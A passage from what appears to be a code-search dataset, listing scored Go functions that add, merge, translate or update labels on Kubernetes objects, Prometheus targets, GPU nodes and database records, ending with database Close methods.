{\n\t\treturn\n\t}\n\n\tnotification.NotifyIssueClearLabels(doer, issue)\n\n\treturn nil\n}", "title": "" }, { "docid": "8b1e8cf3d370a730daf515a189596d2a", "score": "0.4469581", "text": "func (r *Release) label(storageBackend string, labels ...string) {\n\tif len(labels) == 0 {\n\t\treturn\n\t}\n\tif r.Enabled.Value {\n\n\t\targs := []string{\"label\", \"--overwrite\", storageBackend, \"-n\", r.Namespace, \"-l\", \"owner=helm,name=\" + r.Name}\n\t\targs = append(args, labels...)\n\t\tcmd := kubectl(args, \"Applying Helmsman labels to [ \"+r.Name+\" ] release\")\n\n\t\tif _, err := cmd.Exec(); err != nil {\n\t\t\tlog.Fatal(err.Error())\n\t\t}\n\t}\n}", "title": "" }, { "docid": "19d141ff2628f68aaa589e9b12791f0b", "score": "0.44659236", "text": "func UpdateDaemonSetLabels(ctx context.Context, f *framework.Framework, ns *corev1.Namespace, ds *appsv1.DaemonSet, labels map[string]string) {\n\tvar err error\n\tctx, cancel := context.WithTimeout(context.Background(), time.Minute)\n\tds, err = f.ClientSet.AppsV1().DaemonSets(ns.Name).Get(ctx, ds.Name, metav1.GetOptions{})\n\tcancel()\n\tExpect(err).ShouldNot(HaveOccurred())\n\n\tfor k, v := range labels {\n\t\tds.Spec.Template.Labels[k] = v\n\t}\n\n\t// Update daemonset\n\tresource := &resources.Resources{\n\t\tDaemonset: ds,\n\t}\n\tresource.ExpectDaemonsetUpdateSuccessful(ctx, f, ns)\n}", "title": "" }, { "docid": "32deb8746bb672e3c08391c287ea8f2d", "score": "0.4464796", "text": "func (ctr *ContainerTaskRels) update(as agentState) {\n\trels := map[string]*TaskInfo{}\n\tfor _, f := range as.Frameworks {\n\t\tfor _, e := range f.Executors {\n\t\t\tfor _, t := range e.Tasks {\n\t\t\t\tfor _, s := range t.Statuses {\n\t\t\t\t\trels[s.ContainerStatusInfo.ID.Value] = &TaskInfo{\n\t\t\t\t\t\tID: t.ID,\n\t\t\t\t\t\tName: t.Name,\n\t\t\t\t\t\tLabels: t.Labels,\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\tctr.Lock()\n\tctr.rels = rels\n\tctr.Unlock()\n}", "title": "" }, { "docid": "38b98833dc3ccf94a618d1088dfde80a", "score": "0.44602707", "text": "func addLabelsToResource(res *cdv2.Resource, imageEntry ImageEntry) error {\n\tvar err error\n\tres.Labels, err = cdutils.SetLabel(res.Labels, NameLabel, imageEntry.Name)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"unable to add name label to resource for image %q: %w\", imageEntry.Name, err)\n\t}\n\n\tfor _, label := range imageEntry.Labels {\n\t\tres.Labels = cdutils.SetRawLabel(res.Labels, label.Name, label.Value)\n\t}\n\n\tif len(imageEntry.Repository) != 0 {\n\t\tres.Labels, err = cdutils.SetLabel(res.Labels, RepositoryLabel, imageEntry.Repository)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unable to add repository label to resource for image %q: %w\", imageEntry.Name, err)\n\t\t}\n\t}\n\tif len(imageEntry.SourceRepository) != 0 {\n\t\tres.Labels, err = cdutils.SetLabel(res.Labels, SourceRepositoryLabel, imageEntry.SourceRepository)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unable to add source repository label to resource for image %q: %w\", imageEntry.Name, err)\n\t\t}\n\t}\n\tif imageEntry.TargetVersion != nil {\n\t\tres.Labels, err = cdutils.SetLabel(res.Labels, TargetVersionLabel, imageEntry.TargetVersion)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unable to add target version label to resource for image %q: %w\", imageEntry.Name, err)\n\t\t}\n\t}\n\tif imageEntry.RuntimeVersion != nil {\n\t\tres.Labels, err = cdutils.SetLabel(res.Labels, RuntimeVersionLabel, imageEntry.RuntimeVersion)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unable to add target version label to resource for image %q: %w\", imageEntry.Name, err)\n\t\t}\n\t}\n\n\t// set the tag as identity\n\tif imageEntry.Tag != nil {\n\t\tcdutils.SetExtraIdentityField(&res.IdentityObjectMeta, TagExtraIdentity, *imageEntry.Tag)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "b45cdc790f4967103ca0c40b8f1813f9", "score": "0.44565627", "text": "func AddLabels(o metav1.Object, labels map[string]string) {\n\tl := o.GetLabels()\n\tif l == nil {\n\t\to.SetLabels(labels)\n\t\treturn\n\t}\n\tfor k, v := range labels {\n\t\tl[k] = v\n\t}\n\to.SetLabels(l)\n}", "title": "" }, { "docid": "2189747003b9f16d150ef2d06ab93635", "score": "0.4448281", "text": "func AddLabelsToInstanceE(t *testing.T, projectID string, zone string, instance string, labels map[string]string) error {\n\tlogger.Logf(t, \"Adding labels to instance %s in zone %s\", instance, zone)\n\n\tctx := context.Background()\n\n\tservice, err := NewComputeServiceE(t)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Get the fingerprint of the existing labels\n\texistingInstance, err := service.Instances.Get(projectID, zone, instance).Context(ctx).Do()\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Instances.Get(%s) got error: %v\", instance, err)\n\t}\n\treq := compute.InstancesSetLabelsRequest{Labels: labels, LabelFingerprint: existingInstance.LabelFingerprint}\n\n\t// Perform the SetLabels request\n\tif _, err := service.Instances.SetLabels(projectID, zone, instance, &req).Context(ctx).Do(); err != nil {\n\t\treturn fmt.Errorf(\"Instances.SetLabels(%s) got error: %v\", instance, err)\n\t}\n\n\treturn err\n}", "title": "" }, { "docid": "0c5b85bd178c4e4f2be525c677317d89", "score": "0.44301566", "text": "func UpdatePhotoLabel(router *gin.RouterGroup) {\n\trouter.PUT(\"/photos/:uid/label/:id\", func(c *gin.Context) {\n\t\ts := Auth(SessionID(c), acl.ResourcePhotos, acl.ActionUpdate)\n\n\t\tif s.Invalid() {\n\t\t\tc.AbortWithStatusJSON(http.StatusUnauthorized, ErrUnauthorized)\n\t\t\treturn\n\t\t}\n\n\t\t// TODO: Code clean-up, simplify\n\n\t\tm, err := query.PhotoByUID(c.Param(\"uid\"))\n\n\t\tif err != nil {\n\t\t\tc.AbortWithStatusJSON(http.StatusNotFound, ErrPhotoNotFound)\n\t\t\treturn\n\t\t}\n\n\t\tlabelId, err := strconv.Atoi(c.Param(\"id\"))\n\n\t\tif err != nil {\n\t\t\tc.AbortWithStatusJSON(http.StatusNotFound, gin.H{\"error\": txt.UcFirst(err.Error())})\n\t\t\treturn\n\t\t}\n\n\t\tlabel, err := query.PhotoLabel(m.ID, uint(labelId))\n\n\t\tif err != nil {\n\t\t\tc.AbortWithStatusJSON(http.StatusNotFound, gin.H{\"error\": txt.UcFirst(err.Error())})\n\t\t\treturn\n\t\t}\n\n\t\tif err := c.BindJSON(&label); err != nil {\n\t\t\tc.AbortWithStatusJSON(http.StatusBadRequest, gin.H{\"error\": txt.UcFirst(err.Error())})\n\t\t\treturn\n\t\t}\n\n\t\tif err := label.Save(); err != nil {\n\t\t\tc.AbortWithStatusJSON(http.StatusInternalServerError, gin.H{\"error\": txt.UcFirst(err.Error())})\n\t\t\treturn\n\t\t}\n\n\t\tp, err := query.PhotoPreloadByUID(c.Param(\"uid\"))\n\n\t\tif err != nil {\n\t\t\tc.AbortWithStatusJSON(http.StatusNotFound, ErrPhotoNotFound)\n\t\t\treturn\n\t\t}\n\n\t\tif err := p.Save(); err != nil {\n\t\t\tc.AbortWithStatusJSON(http.StatusInternalServerError, gin.H{\"error\": txt.UcFirst(err.Error())})\n\t\t\treturn\n\t\t}\n\n\t\tPublishPhotoEvent(EntityUpdated, c.Param(\"uid\"), c)\n\n\t\tevent.Success(\"label saved\")\n\n\t\tc.JSON(http.StatusOK, p)\n\t})\n}", "title": "" }, { "docid": "7767ceaeae34a4a06fd8100074d7474e", "score": "0.44195664", "text": "func (e *Explore) UpdateTargets(targets map[string][]*discovery.SDTargets) {\n\te.targetsLock.Lock()\n\tdefer e.targetsLock.Unlock()\n\n\tfor job, ts := range targets {\n\t\tall := map[uint64]*exploringTarget{}\n\t\tfor _, t := range ts {\n\t\t\thash := t.ShardTarget.Hash\n\n\t\t\tif e.targets[job] != nil && e.targets[job][hash] != nil {\n\t\t\t\tall[hash] = e.targets[job][hash]\n\t\t\t} else {\n\t\t\t\tall[hash] = &exploringTarget{\n\t\t\t\t\tjob: job,\n\t\t\t\t\trt: target.NewScrapeStatus(0),\n\t\t\t\t\ttarget: t.ShardTarget,\n\t\t\t\t}\n\t\t\t\te.needExplore <- all[hash]\n\t\t\t}\n\t\t}\n\t\te.targets[job] = all\n\t}\n}", "title": "" }, { "docid": "82372045539858c5ea65125ac8d754c1", "score": "0.44180432", "text": "func (s *ProxyStore) LabelValues(ctx context.Context, r *storepb.LabelValuesRequest) (\n\t*storepb.LabelValuesResponse, error,\n) {\n\tvar (\n\t\twarnings []string\n\t\tall [][]string\n\t\tmtx sync.Mutex\n\t\tg, gctx = errgroup.WithContext(ctx)\n\t\tstoreDebugMsgs []string\n\t)\n\n\tfor _, st := range s.stores() {\n\t\tst := st\n\n\t\t// We might be able to skip the store if its meta information indicates it cannot have series matching our query.\n\t\tif ok, reason := storeMatches(gctx, st, r.Start, r.End); !ok {\n\t\t\tstoreDebugMsgs = append(storeDebugMsgs, fmt.Sprintf(\"Store %s filtered out due to %v\", st, reason))\n\t\t\tcontinue\n\t\t}\n\t\tstoreDebugMsgs = append(storeDebugMsgs, fmt.Sprintf(\"Store %s queried\", st))\n\n\t\tg.Go(func() error {\n\t\t\tresp, err := st.LabelValues(gctx, &storepb.LabelValuesRequest{\n\t\t\t\tLabel: r.Label,\n\t\t\t\tPartialResponseDisabled: r.PartialResponseDisabled,\n\t\t\t\tStart: r.Start,\n\t\t\t\tEnd: r.End,\n\t\t\t\tMatchers: r.Matchers,\n\t\t\t})\n\t\t\tif err != nil {\n\t\t\t\terr = errors.Wrapf(err, \"fetch label values from store %s\", st)\n\t\t\t\tif r.PartialResponseDisabled {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\n\t\t\t\tmtx.Lock()\n\t\t\t\twarnings = append(warnings, errors.Wrap(err, \"fetch label values\").Error())\n\t\t\t\tmtx.Unlock()\n\t\t\t\treturn nil\n\t\t\t}\n\n\t\t\tmtx.Lock()\n\t\t\twarnings = append(warnings, resp.Warnings...)\n\t\t\tall = append(all, resp.Values)\n\t\t\tmtx.Unlock()\n\n\t\t\treturn nil\n\t\t})\n\t}\n\n\tif err := g.Wait(); err != nil {\n\t\treturn nil, err\n\t}\n\n\tlevel.Debug(s.logger).Log(\"msg\", strings.Join(storeDebugMsgs, \";\"))\n\treturn &storepb.LabelValuesResponse{\n\t\tValues: strutil.MergeUnsortedSlices(all...),\n\t\tWarnings: warnings,\n\t}, nil\n}", "title": "" }, { "docid": "8ced77aa00d01f12f99c99ccc57373db", "score": "0.44122148", "text": "func (n *ClusterPolicyController) labelGPUNodes() (bool, int, error) {\n\tctx := n.ctx\n\t// fetch all nodes\n\topts := []client.ListOption{}\n\tlist := &corev1.NodeList{}\n\terr := n.rec.Client.List(ctx, list, opts...)\n\tif err != nil {\n\t\treturn false, 0, fmt.Errorf(\"Unable to list nodes to check labels, err %s\", err.Error())\n\t}\n\n\tclusterHasNFDLabels := false\n\tupdateLabels := false\n\tgpuNodesTotal := 0\n\tfor _, node := range list.Items {\n\t\tnode := node\n\t\t// get node labels\n\t\tlabels := node.GetLabels()\n\t\tif !clusterHasNFDLabels {\n\t\t\tclusterHasNFDLabels = hasNFDLabels(labels)\n\t\t}\n\t\tconfig, err := getWorkloadConfig(labels, n.sandboxEnabled)\n\t\tif err != nil {\n\t\t\tn.rec.Log.Info(\"WARNING: failed to get GPU workload config for node; using default\",\n\t\t\t\t\"NodeName\", node.ObjectMeta.Name, \"SandboxEnabled\", n.sandboxEnabled,\n\t\t\t\t\"Error\", err, \"defaultGPUWorkloadConfig\", defaultGPUWorkloadConfig)\n\t\t}\n\t\tn.rec.Log.Info(\"GPU workload configuration\", \"NodeName\", node.ObjectMeta.Name, \"GpuWorkloadConfig\", config)\n\t\tgpuWorkloadConfig := &gpuWorkloadConfiguration{config, node.ObjectMeta.Name, n.rec.Log}\n\t\tif !hasCommonGPULabel(labels) && hasGPULabels(labels) {\n\t\t\tn.rec.Log.Info(\"Node has GPU(s)\", \"NodeName\", node.ObjectMeta.Name)\n\t\t\t// label the node with common Nvidia GPU label\n\t\t\tn.rec.Log.Info(\"Setting node label\", \"NodeName\", node.ObjectMeta.Name, \"Label\", commonGPULabelKey, \"Value\", commonGPULabelValue)\n\t\t\tlabels[commonGPULabelKey] = commonGPULabelValue\n\t\t\t// update node labels\n\t\t\tnode.SetLabels(labels)\n\t\t\tupdateLabels = true\n\t\t} else if hasCommonGPULabel(labels) && !hasGPULabels(labels) {\n\t\t\t// previously labelled node and no longer has GPU's\n\t\t\t// label node to reset common Nvidia GPU label\n\t\t\tn.rec.Log.Info(\"Node no longer has GPUs\", \"NodeName\", node.ObjectMeta.Name)\n\t\t\tn.rec.Log.Info(\"Setting node label\", \"Label\", commonGPULabelKey, \"Value\", \"false\")\n\t\t\tlabels[commonGPULabelKey] = \"false\"\n\t\t\tn.rec.Log.Info(\"Disabling all operands for node\", \"NodeName\", node.ObjectMeta.Name)\n\t\t\tremoveAllGPUStateLabels(labels)\n\t\t\t// update node labels\n\t\t\tnode.SetLabels(labels)\n\t\t\tupdateLabels = true\n\t\t}\n\n\t\tif hasCommonGPULabel(labels) {\n\t\t\t// If node has GPU, then add state labels as per the workload type\n\t\t\tn.rec.Log.Info(\"Checking GPU state labels on the node\", \"NodeName\", node.ObjectMeta.Name)\n\t\t\tif gpuWorkloadConfig.updateGPUStateLabels(labels) {\n\t\t\t\tn.rec.Log.Info(\"Applying correct GPU state labels to the node\", \"NodeName\", node.ObjectMeta.Name)\n\t\t\t\tnode.SetLabels(labels)\n\t\t\t\tupdateLabels = true\n\t\t\t}\n\t\t\t// Disable MIG on the node explicitly where no MIG config is specified\n\t\t\tif n.singleton.Spec.MIGManager.IsEnabled() && hasMIGCapableGPU(labels) && !hasMIGConfigLabel(labels) {\n\t\t\t\tif n.singleton.Spec.MIGManager.Config != nil && n.singleton.Spec.MIGManager.Config.Default == migConfigDisabledValue {\n\t\t\t\t\tn.rec.Log.Info(\"Setting MIG config label\", \"NodeName\", node.ObjectMeta.Name, \"Label\", migConfigLabelKey, \"Value\", migConfigDisabledValue)\n\t\t\t\t\tlabels[migConfigLabelKey] = migConfigDisabledValue\n\t\t\t\t\tnode.SetLabels(labels)\n\t\t\t\t\tupdateLabels = true\n\t\t\t\t}\n\t\t\t}\n\t\t\t// increment GPU node count\n\t\t\tgpuNodesTotal++\n\n\t\t\t// add GPU node CoreOS version for OCP\n\t\t\tif n.ocpDriverToolkit.requested {\n\t\t\t\trhcosVersion, ok := labels[nfdOSTreeVersionLabelKey]\n\t\t\t\tif ok {\n\t\t\t\t\tn.ocpDriverToolkit.rhcosVersions[rhcosVersion] = true\n\t\t\t\t\tn.rec.Log.V(1).Info(\"GPU node running RHCOS\",\n\t\t\t\t\t\t\"nodeName\", node.ObjectMeta.Name,\n\t\t\t\t\t\t\"RHCOS version\", rhcosVersion,\n\t\t\t\t\t)\n\t\t\t\t} else {\n\t\t\t\t\tn.rec.Log.Info(\"node doesn't have the proper NFD RHCOS version label.\",\n\t\t\t\t\t\t\"nodeName\", node.ObjectMeta.Name,\n\t\t\t\t\t\t\"nfdLabel\", nfdOSTreeVersionLabelKey,\n\t\t\t\t\t)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// update node with the latest labels\n\t\tif updateLabels {\n\t\t\terr = n.rec.Client.Update(ctx, &node)\n\t\t\tif err != nil {\n\t\t\t\treturn false, 0, fmt.Errorf(\"Unable to label node %s for the GPU Operator deployment, err %s\",\n\t\t\t\t\tnode.ObjectMeta.Name, err.Error())\n\t\t\t}\n\t\t}\n\t} // end node loop\n\n\tn.rec.Log.Info(\"Number of nodes with GPU label\", \"NodeCount\", gpuNodesTotal)\n\tn.operatorMetrics.gpuNodesTotal.Set(float64(gpuNodesTotal))\n\treturn clusterHasNFDLabels, gpuNodesTotal, nil\n}", "title": "" }, { "docid": "2bc6a4ec82fa4b55f269dff35f25f25c", "score": "0.4401221", "text": "func (s *LocalStore) LabelNames(_ context.Context, _ *storepb.LabelNamesRequest) (\n\t*storepb.LabelNamesResponse, error,\n) {\n\t// TODO(bwplotka): Consider precomputing.\n\tnames := map[string]struct{}{}\n\tfor _, series := range s.series {\n\t\tfor _, l := range series.Labels {\n\t\t\tnames[l.Name] = struct{}{}\n\t\t}\n\t}\n\tresp := &storepb.LabelNamesResponse{}\n\tfor n := range names {\n\t\tresp.Names = append(resp.Names, n)\n\t}\n\treturn resp, nil\n}", "title": "" }, { "docid": "5e1aaeca1dcd453b49ab6ffa0dda83d3", "score": "0.43939877", "text": "func TranslateLabels(virtualNamespace string, labels map[string]string) map[string]string {\n\tnewLabels := map[string]string{}\n\tfor k, v := range labels {\n\t\tif k == NamespaceLabel {\n\t\t\tnewLabels[k] = v\n\t\t\tcontinue\n\t\t}\n\n\t\tnewLabels[ConvertLabelKey(k)] = v\n\t}\n\tnewLabels[MarkerLabel] = Suffix\n\tif virtualNamespace != \"\" && newLabels[NamespaceLabel] == \"\" {\n\t\tnewLabels[NamespaceLabel] = NamespaceLabelValue(virtualNamespace)\n\t}\n\n\treturn newLabels\n}", "title": "" }, { "docid": "e687e63578e21ac7d9473d849da8cd11", "score": "0.43910038", "text": "func (p *Proxy) UpdateTargets(groups map[string][]*target.Target) error {\n\tp.targetsLock.Lock()\n\tdefer p.targetsLock.Unlock()\n\n\tnewTargets := map[uint64]*target.ScrapeStatus{}\n\tfor _, ts := range groups {\n\t\tfor _, t := range ts {\n\t\t\told := p.targets[t.Hash]\n\t\t\tif old == nil {\n\t\t\t\told = target.NewScrapeStatus(t.Series)\n\t\t\t}\n\t\t\tnewTargets[t.Hash] = old\n\t\t}\n\t}\n\tp.targets = newTargets\n\treturn nil\n}", "title": "" }, { "docid": "74377a8042987e6798fe5e09e82b3270", "score": "0.4382706", "text": "func mergeLabel(ss []string, i, prefixLen int, prefixes prefixMap) {\n\ts := ss[i]\n\tsuffix := s[len(s)-prefixLen:]\n\tfor _, j := range prefixes[suffix] {\n\t\t// Empty strings mean \"already used.\" Also avoid merging with self.\n\t\tif ss[j] == \"\" || i == j {\n\t\t\tcontinue\n\t\t}\n\t\tif *v {\n\t\t\tfmt.Fprintf(os.Stderr, \"%d-length overlap at (%4d,%4d): %q and %q share %q\\n\",\n\t\t\t\tprefixLen, i, j, ss[i], ss[j], suffix)\n\t\t}\n\t\tss[i] += ss[j][prefixLen:]\n\t\tss[j] = \"\"\n\t\t// ss[i] has a new suffix, so merge again if possible.\n\t\t// Note: we only have to merge again at the same prefix length. Shorter\n\t\t// prefix lengths will be handled in the next iteration of crush's for loop.\n\t\t// Can there be matches for longer prefix lengths, introduced by the merge?\n\t\t// I believe that any such matches would by necessity have been eliminated\n\t\t// during substring removal or merged at a higher prefix length. For\n\t\t// instance, in crush(\"abc\", \"cde\", \"bcdef\"), combining \"abc\" and \"cde\"\n\t\t// would yield \"abcde\", which could be merged with \"bcdef.\" However, in\n\t\t// practice \"cde\" would already have been elimintated by removeSubstrings.\n\t\tmergeLabel(ss, i, prefixLen, prefixes)\n\t\treturn\n\t}\n}", "title": "" }, { "docid": "8e53adcec4d044dcb34c84c5613b9468", "score": "0.43773347", "text": "func CopyLabelsFromMeta(src *metav1.ObjectMeta) map[string]string {\n\tlabels := make(map[string]string)\n\n\t// copy all labels from source ConfigMap\n\tif src.Annotations[AnnotationReflectLabels] != \"\" {\n\t\tfor key, value := range src.Labels {\n\t\t\tlabels[key] = value\n\t\t}\n\t}\n\n\tlabels[LabelSourceName] = src.Name\n\tlabels[LabelSourceNamespace] = src.Namespace\n\treturn labels\n}", "title": "" }, { "docid": "94afa9b3a43026dbfdd2e349a4fe79c7", "score": "0.43697295", "text": "func (o *Board) AddLabels(ctx context.Context, exec boil.ContextExecutor, insert bool, related ...*Label) error {\n\tvar err error\n\tfor _, rel := range related {\n\t\tif insert {\n\t\t\trel.BoardID = o.ID\n\t\t\tif err = rel.Insert(ctx, exec, boil.Infer()); err != nil {\n\t\t\t\treturn errors.Wrap(err, \"failed to insert into foreign table\")\n\t\t\t}\n\t\t} else {\n\t\t\tupdateQuery := fmt.Sprintf(\n\t\t\t\t\"UPDATE `labels` SET %s WHERE %s\",\n\t\t\t\tstrmangle.SetParamNames(\"`\", \"`\", 0, []string{\"board_id\"}),\n\t\t\t\tstrmangle.WhereClause(\"`\", \"`\", 0, labelPrimaryKeyColumns),\n\t\t\t)\n\t\t\tvalues := []interface{}{o.ID, rel.ID}\n\n\t\t\tif boil.DebugMode {\n\t\t\t\tfmt.Fprintln(boil.DebugWriter, updateQuery)\n\t\t\t\tfmt.Fprintln(boil.DebugWriter, values)\n\t\t\t}\n\n\t\t\tif _, err = exec.ExecContext(ctx, updateQuery, values...); err != nil {\n\t\t\t\treturn errors.Wrap(err, \"failed to update foreign table\")\n\t\t\t}\n\n\t\t\trel.BoardID = o.ID\n\t\t}\n\t}\n\n\tif o.R == nil {\n\t\to.R = &boardR{\n\t\t\tLabels: related,\n\t\t}\n\t} else {\n\t\to.R.Labels = append(o.R.Labels, related...)\n\t}\n\n\tfor _, rel := range related {\n\t\tif rel.R == nil {\n\t\t\trel.R = &labelR{\n\t\t\t\tBoard: o,\n\t\t\t}\n\t\t} else {\n\t\t\trel.R.Board = o\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "37267c866da3251e94bd650e5351ba2b", "score": "0.43644828", "text": "func (t *Target) Labels() labels.Labels {\n\tb := labels.NewScratchBuilder(t.labels.Len())\n\tt.labels.Range(func(l labels.Label) {\n\t\tif !strings.HasPrefix(l.Name, model.ReservedLabelPrefix) {\n\t\t\tb.Add(l.Name, l.Value)\n\t\t}\n\t})\n\treturn b.Labels()\n}", "title": "" }, { "docid": "76f73134f7b1cf07dd87927208d61737", "score": "0.43626708", "text": "func (t *Target) SetDiscoveredLabels(l labels.Labels) {\n\tt.mtx.Lock()\n\tdefer t.mtx.Unlock()\n\tt.discoveredLabels = l\n}", "title": "" }, { "docid": "8abda82cc715ba66fd138452b7c57a91", "score": "0.43526858", "text": "func MergeLabels(allLabels ...map[string]string) map[string]string {\n\tres := map[string]string{}\n\n\tfor _, labels := range allLabels {\n\t\tif labels != nil {\n\t\t\tfor k, v := range labels {\n\t\t\t\tres[k] = v\n\t\t\t}\n\t\t}\n\t}\n\treturn res\n}", "title": "" }, { "docid": "67fab2ded21a9df3503d4ecb7114dd72", "score": "0.43511683", "text": "func Update(target, source *types.Entry) error {\n\treturn target.MergeTags(source)\n}", "title": "" }, { "docid": "e3efa324cf1d1026b9ef2f515d28c0e6", "score": "0.43507308", "text": "func UpdateLabelPath(spaceID uuid.UUID, labelID uuid.UUID) string {\n\tparam0 := spaceID.String()\n\tparam1 := labelID.String()\n\n\treturn fmt.Sprintf(\"/api/spaces/%s/labels/%s\", param0, param1)\n}", "title": "" }, { "docid": "89492df6a318ac3727a1e30ae9d2d760", "score": "0.43478602", "text": "func (puo *PostUpdateOne) AddLabelIDs(ids ...int) *PostUpdateOne {\n\tpuo.mutation.AddLabelIDs(ids...)\n\treturn puo\n}", "title": "" }, { "docid": "670bc6cfcf3ae06c213ff69d7f1a9eaf", "score": "0.43462038", "text": "func (a *Agent) LabelUpdate(label *Label) (err error) {\n\tif label == nil || label.Id == \"\" {\n\t\treturn\n\t}\n\tcolorName, ok := labelColorMap[label.Color]\n\tif !ok {\n\t\tcolorName = api.LabelColorBlank\n\t}\n\tspec := (&api.LabelEditSpec{}).Init(\n\t\tlabel.Id, label.Name, colorName,\n\t)\n\treturn a.pc.ExecuteApi(spec)\n}", "title": "" }, { "docid": "12c3189220680d6131fa4bbcb6f818ee", "score": "0.433672", "text": "func (c *Cluster) UpdateStorePeerAddr(storeID uint64, peerAddr string, labels ...*metapb.StoreLabel) {\n\tc.Lock()\n\tdefer c.Unlock()\n\taddr := c.stores[storeID].meta.Address\n\tc.stores[storeID] = newStore(storeID, addr, peerAddr, labels...)\n}", "title": "" }, { "docid": "58ba1f8e4a3613d9636ed2aa8e68eca4", "score": "0.43352813", "text": "func removeAllGPUStateLabels(labels map[string]string) bool {\n\tmodified := false\n\tfor _, labelsMap := range gpuStateLabels {\n\t\tfor key := range labelsMap {\n\t\t\tif _, ok := labels[key]; ok {\n\t\t\t\tdelete(labels, key)\n\t\t\t\tmodified = true\n\t\t\t}\n\t\t}\n\t}\n\tif _, ok := labels[migManagerLabelKey]; ok {\n\t\tdelete(labels, migManagerLabelKey)\n\t\tmodified = true\n\t}\n\treturn modified\n}", "title": "" }, { "docid": "c14fc8dad5fd14d566e398638b3f38d1", "score": "0.43285698", "text": "func AddLabels(obj metav1.Object, additionalLabels map[string]string) {\n\tlabels := obj.GetLabels()\n\tif labels == nil {\n\t\tlabels = map[string]string{}\n\t\tobj.SetLabels(labels)\n\t}\n\tfor k, v := range additionalLabels {\n\t\tlabels[k] = v\n\t}\n}", "title": "" }, { "docid": "d428c53e3b780b9588377b02abc0d26a", "score": "0.43269655", "text": "func (p libvirtPlugin) Label(instance instance.ID, labels map[string]string) error {\n\t//l := log.WithField(\"instance\", instance)\n\n\tconn, err := libvirt.NewConnect(p.URI)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"Connecting to libvirt\")\n\t}\n\tdefer conn.Close()\n\n\td, err := p.lookupInstanceByID(conn, instance)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"Looking up domain\")\n\t}\n\n\tmeta := infrakitMetadata{}\n\tm, err := d.GetMetadata(libvirt.DOMAIN_METADATA_ELEMENT,\n\t\t\"https://github.com/docker/infrakit\",\n\t\tlibvirt.DOMAIN_AFFECT_LIVE)\n\tif err == nil {\n\t\tif err := meta.Unmarshal(m); err != nil {\n\t\t\treturn errors.Wrap(err, \"Unmarshalling domain metadata XML\")\n\t\t}\n\t} else {\n\t\tmeta.LogicalID = string(instance)\n\t}\n\n\tmetaSetTags(&meta, labels)\n\n\txmlbytes, err := xml.MarshalIndent(meta, \"\", \" \")\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"Marshalling infrakitMetadata\")\n\t}\n\tm = string(xmlbytes)\n\n\terr = d.SetMetadata(libvirt.DOMAIN_METADATA_ELEMENT,\n\t\tm,\n\t\t\"infrakit\",\n\t\t\"https//github.com/docker/infrakit\",\n\t\tlibvirt.DOMAIN_AFFECT_LIVE)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"Setting domain metadata\")\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "825d3c9923211ef86757ac20fe952c07", "score": "0.4320876", "text": "func buildLabels(cmdLabels, imageLabels map[string]string) map[string]string {\n\tlabels := make(map[string]string)\n\tfor k, v := range imageLabels {\n\t\tif err := clabels.Validate(k, v); err == nil {\n\t\t\tlabels[k] = v\n\t\t} else {\n\t\t\t// In case the image label is invalid, we output a warning and skip adding it to the\n\t\t\t// container.\n\t\t\tlog.L.WithError(err).Warnf(\"unable to add image label with key %s to the container\", k)\n\t\t}\n\t}\n\t// labels from the command line will override image and the initial image config labels\n\tfor k, v := range cmdLabels {\n\t\tlabels[k] = v\n\t}\n\treturn labels\n}", "title": "" }, { "docid": "d9d52f1db41f628d19535265528ed2af", "score": "0.43182996", "text": "func (nv *NetView) ConfigLabels(labs []string) bool {\n\tvs := nv.Scene()\n\tlgp, err := vs.ChildByNameTry(\"Labels\", 1)\n\tif err != nil {\n\t\tlgp = gi3d.AddNewGroup(vs, vs, \"Labels\")\n\t}\n\n\tlbConfig := kit.TypeAndNameList{}\n\tfor _, ls := range labs {\n\t\tlbConfig.Add(gi3d.KiT_Text2D, ls)\n\t}\n\tmods, updt := lgp.ConfigChildren(lbConfig)\n\tif mods {\n\t\tfor i, ls := range labs {\n\t\t\tlb := lgp.ChildByName(ls, i).(*gi3d.Text2D)\n\t\t\tlb.Defaults(vs)\n\t\t\tlb.SetText(vs, ls)\n\t\t\tlb.SetProp(\"text-align\", gist.AlignLeft)\n\t\t\tlb.SetProp(\"vertical-align\", gist.AlignTop)\n\t\t\tlb.SetProp(\"white-space\", gist.WhiteSpacePre)\n\t\t}\n\t}\n\tlgp.UpdateEnd(updt)\n\treturn mods\n}", "title": "" } ]
75d5b24b860f94080aab77914ef81b54
Close Closes the database connection
[ { "docid": "8bce6eca9e530d01a8708e68ede1ca39", "score": "0.0", "text": "func Close() {\n\tif Conn != nil {\n\t\tConn.Close()\n\t}\n}", "title": "" } ]
[ { "docid": "47140488cc14e9a468cb0b0c0d8e0ff8", "score": "0.7744427", "text": "func (db *Database) Close() {\n\tdb.conn.Close()\n}", "title": "" }, { "docid": "758ebafdd856d2136e1ecc57c6482c5d", "score": "0.77301985", "text": "func (l *DB) Close() error {\n return l.db.Close()\n}", "title": "" }, { "docid": "4bed7d3196a005d2caf71a9e4e0665cd", "score": "0.7621371", "text": "func (db *DB) Close() {\n\tdb.connect.Close()\n}", "title": "" }, { "docid": "500d3a5b9692c5375811602662003a2f", "score": "0.75979245", "text": "func Close() {\n\tdb.Close()\n}", "title": "" }, { "docid": "500d3a5b9692c5375811602662003a2f", "score": "0.75979245", "text": "func Close() {\n\tdb.Close()\n}", "title": "" }, { "docid": "38988c440b251348697439bf98c044b4", "score": "0.7548568", "text": "func (db *Database) Close() error { return db.handleError(db.DB.Close()) }", "title": "" }, { "docid": "5d18726937bf8999f82a6a4a9ac1518f", "score": "0.7533382", "text": "func (db *DB) Close() {\n\t_ = db.conn.Close()\n}", "title": "" }, { "docid": 